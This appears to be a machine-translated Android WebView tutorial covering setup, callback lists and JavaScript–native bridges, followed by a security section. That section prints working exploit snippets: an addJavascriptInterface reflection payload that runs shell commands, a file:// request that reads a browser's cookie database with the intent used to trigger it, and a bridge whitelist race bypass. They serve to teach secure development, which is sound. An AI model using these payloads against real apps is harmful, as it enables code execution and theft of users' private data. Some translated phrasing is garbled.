The use of a Webview
Need to apply for permission, such as android. Permission. The INTERNET, etc.
WebSettings webSettings = webView.getSettings();
webView.setWebChromeClient(new WebChromeClient());
webSettings.setJavaScriptEnabled(true)
webSettings.setJavaScriptCanOpenWindowsAutomatically(true);
webView.setWebViewClient(new myWebVliewClient());
Copy the code
Focus on the order of callbacks
download
webView.setDownloadListener(new DownloadListener(){ @Override public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) {Uri Uri = uri.parse (url); Intent intent = new Intent(Intent.ACTION_VIEW,uri); startActivity(intent); }});Copy the code
Difference between WebViewClient and WebChromeClient
There’s a lot of information here, Chinese websites are all the same,
I take a look at Stack Overflow, and I agree
WebViewClient mainly involves methods to display content, which can be used to intervene in the presentation of content. WebChromeClient provides some methods to interact with the Activity, such as feeding BACK JS calls to the Activity, or requesting some native resources.
- WebViewClient
void doUpdateVisitedHistory (WebView view, String url, boolean isReload)
void onFormResubmission (WebView view, Message dontResend, Message resend)
void onLoadResource (WebView view, String url)
void onPageCommitVisible (WebView view, String url)
void onPageFinished (WebView view, String url)
void onPageStarted (WebView view, String url, Bitmap favicon)
void onReceivedClientCertRequest (WebView view, ClientCertRequest request)
void onReceivedError (WebView view, int errorCode, String description, String failingUrl)
void onReceivedError (WebView view, WebResourceRequest request, WebResourceError error)
void onReceivedHttpAuthRequest (WebView view, HttpAuthHandler handler, String host, String realm)
void onReceivedHttpError (WebView view, WebResourceRequest request, WebResourceResponse errorResponse)
void onReceivedLoginRequest (WebView view, String realm, String account, String args)
void onReceivedSslError (WebView view, SslErrorHandler handler, SslError error)
boolean onRenderProcessGone (WebView view, RenderProcessGoneDetail detail)
void onSafeBrowsingHit (WebView view, WebResourceRequest request, int threatType, SafeBrowsingResponse callback)
void onScaleChanged (WebView view, float oldScale, float newScale)
void onTooManyRedirects (WebView view, Message cancelMsg, Message continueMsg)
void onUnhandledKeyEvent (WebView view, KeyEvent event)
WebResourceResponse shouldInterceptRequest (WebView view, WebResourceRequest request)
WebResourceResponse shouldInterceptRequest (WebView view, String url)
boolean shouldOverrideKeyEvent (WebView view, KeyEvent event)
boolean shouldOverrideUrlLoading (WebView view, WebResourceRequest request)
boolean shouldOverrideUrlLoading (WebView view, String url)
Copy the code
- WebChromeClient
Bitmap getDefaultVideoPoster () View getVideoLoadingProgressView () void getVisitedHistory (ValueCallback<String[]> callback) void onCloseWindow (WebView window) boolean onConsoleMessage (ConsoleMessage consoleMessage) void onConsoleMessage (String message, int lineNumber, String sourceID) boolean onCreateWindow (WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) void onExceededDatabaseQuota (String url, String databaseIdentifier, long quota, long estimatedDatabaseSize, long totalQuota, WebStorage.QuotaUpdater quotaUpdater) void onGeolocationPermissionsHidePrompt () void onGeolocationPermissionsShowPrompt (String origin, GeolocationPermissions.Callback callback) void onHideCustomView () boolean onJsAlert (WebView view, String url, String message, JsResult result) boolean onJsBeforeUnload (WebView view, String url, String message, JsResult result) boolean onJsConfirm (WebView view, String url, String message, JsResult result) boolean onJsPrompt (WebView view, String url, String message, String defaultValue, JsPromptResult result) boolean onJsTimeout () void onPermissionRequest (PermissionRequest request) void onPermissionRequestCanceled (PermissionRequest request) void onProgressChanged (WebView view, int newProgress) void onReachedMaxAppCacheSize (long requiredStorage, long quota, WebStorage.QuotaUpdater quotaUpdater) void onReceivedIcon (WebView view, Bitmap icon) void onReceivedTitle (WebView view, String title) void onReceivedTouchIconUrl (WebView view, String url, boolean precomposed) void onRequestFocus (WebView view) void onShowCustomView (View view, int requestedOrientation, WebChromeClient.CustomViewCallback callback) void onShowCustomView (View view, WebChromeClient.CustomViewCallback callback) boolean onShowFileChooser (WebView webView, ValueCallback<Uri[]> filePathCallback, WebChromeClient.FileChooserParams fileChooserParams)Copy the code
JS -> Native communication
WebViewClient#shouldOverrideUrlLoading
<button onclick="callAndroid()" style="height: 26px ; width:160px; text-align: center; </button> <script> function callAndroid() {location.href= "jsbridge://webview? &arg1=hello&arg2=world" } </script>Copy the code
<a href="http://www.xxx.com">Copy the code
webview.setWebViewClient(new WebViewClient(){ @Override public boolean shouldOverrideUrlLoading(WebView view, String s) { Uri uri = Uri.parse(s); Log.d("test112", s); if(uri.getScheme().startsWith("jsbridge")) { String arg1 = uri.getQueryParameter("arg1"); String arg2 = uri.getQueryParameter("arg2"); String s1 = "JS call Native, argument 1: "+arg1+" argument 2: "+arg2; Toast.makeText(MainActivity.this, s1, Toast.LENGTH_LONG).show(); } return true; }});Copy the code
@JavascriptInterface
public class AndroidToJS extends Object {
@JavascriptInterface
public void hello(String msg) {
Toast.makeText(MainActivity.this, msg, Toast.LENGTH_LONG).show();
}
}
webView.addJavascriptInterface(new AndroidToJS(), "test");
Copy the code
<script> function callAndroid() {test.hello("JS call Native"); } </script>Copy the code
- Methods provided for JS calls must be of type public
- In API 17 and above, methods provided for JS calls must be annotated with @javascriptInterface
- This method is not called in the main thread
#onJsAlert(), onJsConfirm(), onJsPrompt()
<script type="text/javascript"> function promptTest(param){ prompt(param); } </script> <input type="button" value=" promptTest('prompt parameters ')" /><br />Copy the code
webview.setWebChromeClient(new WebChromeClient() { @Override public boolean onJsPrompt(WebView view, String url, String message, String defaultValue, JsPromptResult result) { ... result.cancle(); return true; }});Copy the code
If result.cancle() is not called and false is returned, a dialog is displayed
Native -> JS communication
webView.loadUrl(“javascript:xxx)
LoadUrl ("javascript: alert('Native injected JS')"); webview.loadurl ("javascript: alert('Native injected JS')");Copy the code
Or built-in JS code
InputStreamReader isr = null; try { isr = new InputStreamReader(this.getAssets().open("test.js"), "UTF-8"); BufferedReader bf = new BufferedReader(isr); String content = ""; StringBuilder sb = new StringBuilder(); while (content ! = null) { content = bf.readLine(); if (content == null) { break; } sb.append(content.trim()); } bf.close(); wholeJS = sb.toString(); } catch (IOException e) { e.printStackTrace(); } webView.loadUrl("javascript: " + wholeJS);Copy the code
evaluateJavascript
<script>
function getUID() {
var id = 120;
return id + 1;
}
</script>
Copy the code
webView.evaluateJavascript("getUID()", new ValueCallback<String>() { @Override public void onReceiveValue(String value) { Log.d("CALLBACK", value); }});Copy the code
To compare
Security issues
Remote code execution vulnerability
In Android API Level 17 and prior versions, because the program does not properly restrict the use of the addJavascriptInterface method, remote attackers can exploit this vulnerability by using the Java Reflection API to execute methods on arbitrary Java objects. AddJavascriptInterface adds a JavaScript bridge interface to the WebView. JavaScript can directly interact with the local Java interface by calling this interface. It is possible that the mobile phone is installed by Trojan program, send fee short message, address book and short message is stolen, obtain the SD card file and other information in the local device, thus causing information leakage, and even the mobile phone is remote control and other security problems.
function execute(cmdArgs) { for (var obj in window) { console.log(obj); if ("getClass" in window[obj]) { alert(obj); return window[obj].getClass().forName("java.lang.Runtime"). getMethod("getRuntime",null).invoke(null,null).exec(cmdArgs); }}} // Get the filename information from the input stream after executing the command, which has a serious privacy risk. var p = execute(["ls","/mnt/sdcard/"]); document.write(getInputStream2String(p.getInputStream()));Copy the code
AddJavascriptInterface, use the following methods: Android4.2 above, allow JavaScript to call methods must be @javascriptinterface annotation declaration,
Password plaintext storage vulnerability
WebView enables the password saving function by default. Mwebview.setsavepassword (true). If this function is not disabled, a dialog box will be displayed when the user enters the password, asking the user whether to save the password. Password will be definitely confirmed to/data/data/com. The package. The name/databases/webview. Db
Lax domain control vulnerability
The Android default mWebView. SetAllowFileAccess (true), under the File field, able to perform any JavaScript code, the same-origin policy cross-domain access to private directory File access, etc. APP does not restrict the URL in the form of file:/// in the embedded WebView, which will lead to the disclosure of privacy information. For IM software, it will lead to the disclosure of chat information, contacts and other important information. For browser software, it is more likely to disclose cookie information.
360 mobile browser defects can lead to user sensitive data leakage
Take version 4.8 of 360 mobile browser as an example. Without security restrictions on file domain, malicious APP can obtain all private data from 360 mobile browser after calling 360 browser to load local attack pages (such as an HTML released by malicious APP on SDCARD). Including webviewCookiesChromium. Cookies implications of db, attack key code page:
function getDatabase() {
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
}
xmlhttp = request;
var prefix = "file:////data/data/com.qihoo.browser/databases";
var postfix = "/webviewCookiesChromium.db"; //取保存cookie的db
var path = prefix.concat(postfix);
// 获取本地文件代码
xmlhttp.open("GET", path, false);
xmlhttp.send(null);
var ret = xmlhttp.responseText;
return ret;
}
Copy the code
copyFile(); / / a custom function, release filehehe. HTML to sd card String url = "file:///mnt/sdcard/filehehe.html"; Intent contIntent = new Intent(); contIntent.setAction("android.intent.action.VIEW"); contIntent.setData(Uri.parse(url)); Intent intent = new Intent(); intent.setClassName("com.qihoo.browser","com.qihoo.browser.BrowserActivity"); intent.setAction("android.intent.action.VIEW"); intent.setData(Uri.parse(url)); this.startActivity(intent);Copy the code
JSB whitelist competition bypassed
The reason is that getUrl is not secure
function attack() {
setTimeout(func1, 5);
func2();
}
function func2() {
location.href="http://www.baidu.com";
}
function func1() {
window.stub.invokeMethod(xxx);
}
Copy the code
The execution of JS is asynchronous. When func1 is delayed 5ms by setTimeout, the JS thread will not wait for the completion of func1 but execute func2 function first, and jump to func2 function, assuming func2 loads the whitelist URL, This is the moment the loadUrl completes and the return value of getUrl changes, even though the new page may not have finished loading.
reference
- Oversecured detects dangerous vulnerabilities in the TikTok Android app
- Zhihu – [Tencent royal security] Android security development of WebView mines
- Nuggets – Common Security vulnerabilities and solutions for Android WebView
Use in projects
Encapsulate WebView, use cache pool to cache, avoid duplicate creation, ConcurrentLinkedHashMap, change context by reflection, add exception catch, etc.
ShouldInterceptRequest: custom WebViewClient, shouldInterceptRequest, load local resources.
Custom Object, as a Bridge, as a Bridge between Native and Webview. For example, any callback from WebviewClient can send a message by retrieving this Object.
-
Native -> JS
- Javascript :JSBridge._handleMessage(XXX);
-
JS -> Native
- According to shouldOverrideUrlLoading of WebViewClient, check whether Scheme is in the List (List specifies the functions supported by business, and different native methods are invoked through Scheme).
- Distribution messages are handled with custom Objects via WebViewClient’s onLoadResource.
The resources
-
The communication between Native and WebView is part 2 of the Series
-
Simple book – the most comprehensive summary of Android WebView and JS interaction
-
Android: This is a comprehensive and detailed walkthrough of Webview usage
-
Zhihu – [Tencent royal security] Android security development of WebView mines
-
Nuggets – Common Security vulnerabilities and solutions for Android WebView